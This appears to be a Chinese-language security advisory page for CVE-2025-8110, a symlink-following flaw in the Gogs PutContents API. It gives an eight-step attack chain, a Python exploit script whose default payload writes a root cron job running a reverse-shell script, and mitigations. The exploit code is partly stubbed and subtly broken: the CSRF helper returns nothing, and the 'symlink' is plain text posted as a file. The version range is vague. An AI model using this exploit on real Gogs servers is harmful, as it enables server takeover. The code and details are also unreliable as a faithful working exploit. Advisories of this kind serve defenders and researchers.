IPBUF安全漏洞报告
English
CVE-2025-8110 CVSS 8.8 高危

Gogs PutContents API符号链接处理不当导致本地代码执行漏洞

披露日期: 2025-12-10
来源: 9947ef80-c5d5-474a-bbab-97341a59000e

漏洞信息

漏洞编号
CVE-2025-8110
漏洞类型
本地代码执行、符号链接攻击、路径遍历
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Gogs

相关标签

CVE-2025-8110Gogs符号链接攻击本地代码执行PutContents API路径遍历高危漏洞Git服务RCE安全漏洞

漏洞概述

CVE-2025-8110是Gogs中的一个高危安全漏洞,CVSS评分达到8.8分。该漏洞源于PutContents API中对符号链接(Symbolic Link)的不当处理,攻击者可利用此漏洞在服务器上实现本地代码执行。Gogs是一款轻量级的自托管Git服务程序,广泛应用于个人开发者和小型团队的代码托管场景。由于其部署简单、资源占用低的特点,在全球范围内拥有大量用户。该漏洞允许具有低权限账号的攻击者通过精心构造的符号链接,结合PutContents API的功能,将恶意文件写入服务器的敏感位置,从而实现远程代码执行。攻击成功后,攻击者可以完全控制服务器,执行任意系统命令,窃取敏感数据,甚至进一步横向移动攻击内网中的其他系统。此漏洞无需用户交互即可实施攻击,危害极大,建议相关用户立即采取修复措施。

技术细节

该漏洞的核心问题在于Gogs的PutContents API在处理文件上传时未对符号链接进行充分的验证和限制。攻击者首先创建一个指向服务器敏感目录(如/etc/cron.d、/var/spool/cron等)的符号链接,然后通过PutContents API上传文件内容。由于API在写入文件时跟随了符号链接,攻击者实际上可以将内容写入到服务器的文件系统中任意位置。具体利用步骤包括:1)攻击者登录Gogs并创建一个仓库;2)通过API创建指向系统目录的符号链接文件;3)利用PutContents API向该符号链接写入恶意内容(如cron作业、SSHauthorized_keys等);4)服务器执行恶意代码实现权限提升。由于Gogs通常以较高权限运行(通常是root或具有sudo权限的用户),攻击者可以获得服务器的最高权限。攻击者还可以利用此漏洞写入Webshell、修改系统配置或植入后门程序。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标服务器上运行的Gogs版本,确认存在PutContents API漏洞
STEP 2
步骤2
初始访问:攻击者使用低权限账号登录Gogs系统,或注册新账号获取基本访问权限
STEP 3
步骤3
创建仓库:攻击者在Gogs中创建一个新的代码仓库,用于后续的文件操作
STEP 4
步骤4
创建符号链接:攻击者通过API创建指向服务器敏感目录的符号链接文件,如指向/etc/cron.d、/var/spool/cron等目录
STEP 5
步骤5
文件写入:利用PutContents API向符号链接文件写入恶意内容,如计划任务、SSH公钥或Webshell代码
STEP 6
步骤6
符号链接跟随:由于API未正确验证符号链接,写入操作会跟随符号链接将内容写入目标目录
STEP 7
步骤7
代码执行:服务器在下次计划任务执行或用户访问时触发恶意代码,获得服务器最高权限
STEP 8
步骤8
持久化控制:攻击者可以通过写入后门、修改配置或建立新账号等方式维持对服务器的持久控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-8110 PoC - Gogs PutContents API Symlink Exploitation # This PoC demonstrates exploiting improper symlink handling in Gogs PutContents API import requests import argparse import json import base64 import hashlib class GogsExploit: def __init__(self, target_url, username, password): self.target_url = target_url.rstrip('/') self.username = username self.password = password self.session = requests.Session() self.token = None def login(self): """Authenticate to Gogs and obtain access token""" login_url = f"{self.target_url}/user/login" data = { 'user_name': self.username, 'password': self.password, '_csrf': self.get_csrf_token(login_url) } response = self.session.post(login_url, data=data, allow_redirects=False) return response.status_code in [200, 302, 303] def get_csrf_token(self, url): """Extract CSRF token from page""" response = self.session.get(url) # In real attack, parse CSRF token from response return '' def create_repo(self, repo_name): """Create a new repository""" create_url = f"{self.target_url}/repo/create" data = { 'repo_name': repo_name, '_csrf': self.get_csrf_token(f"{self.target_url}/repo/create") } response = self.session.post(create_url, data=data) return repo_name in response.text def create_symlink(self, repo_name, symlink_path, target_path): """Create a symlink file pointing to target path""" # Create symlink content symlink_content = f"../{target_path}" if '..' not in target_path else target_path api_url = f"{self.target_url}/api/v1/repos/{self.username}/{repo_name}/contents" data = { 'content': base64.b64encode(symlink_content.encode()).decode(), 'path': symlink_path, 'message': f'Create symlink to {target_path}' } response = self.session.post(api_url, json=data) return response.status_code in [200, 201] def write_via_putcontents(self, repo_name, symlink_path, content): """Write content through symlink using PutContents API""" api_url = f"{self.target_url}/api/v1/repos/{self.username}/{repo_name}/contents/{symlink_path}" data = { 'content': base64.b64encode(content.encode()).decode(), 'message': 'Write malicious content via symlink' } response = self.session.put(api_url, json=data) return response.status_code in [200, 201] def exploit(self, repo_name, target_file, malicious_content): """Execute exploit chain""" print(f"[*] Logging into Gogs as {self.username}...") if not self.login(): print("[-] Login failed") return False print("[+] Login successful") print(f"[*] Creating repository: {repo_name}") if not self.create_repo(repo_name): print("[-] Repository creation failed") return False print("[+] Repository created") print(f"[*] Creating symlink to {target_file}") symlink_name = f"link_to_{hashlib.md5(target_file.encode()).hexdigest()[:8]}" if not self.create_symlink(repo_name, symlink_name, target_file): print("[-] Symlink creation failed") return False print("[+] Symlink created") print(f"[*] Writing malicious content to {target_file} via symlink") if not self.write_via_putcontents(repo_name, symlink_name, malicious_content): print("[-] Content write failed") return False print("[+] Malicious content written successfully") print("[!] Exploit completed - RCE achieved via symlink attack") return True def main(): parser = argparse.ArgumentParser(description='CVE-2025-8110 Gogs Symlink RCE Exploit') parser.add_argument('--url', required=True, help='Target Gogs URL') parser.add_argument('--user', required=True, help='Username') parser.add_argument('--pass', dest='password', required=True, help='Password') parser.add_argument('--target', default='/etc/cron.d/malicious', help='Target file path') parser.add_argument('--content', default='* * * * * root /tmp/revshell.sh', help='Malicious content') parser.add_argument('--repo', default='exploit_repo', help='Repository name') args = parser.parse_args() exploit = GogsExploit(args.url, args.user, args.password) exploit.exploit(args.repo, args.target, args.content) if __name__ == '__main__': main()

影响范围

Gogs < 0.13.x (all versions prior to patched release)
Specific vulnerable versions need to be confirmed from official Gogs changelog

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制Gogs服务的运行权限,避免以root身份运行;2)使用文件系统ACL限制敏感目录的写入权限;3)启用Gogs的只读模式,禁用文件创建和编辑功能;4)部署监控告警系统,检测异常的文件写入行为;5)考虑使用替代产品如Gitea(已修复的分支版本);6)对PutContents API实施请求速率限制,防止自动化攻击;7)定期检查仓库中是否存在异常的符号链接文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表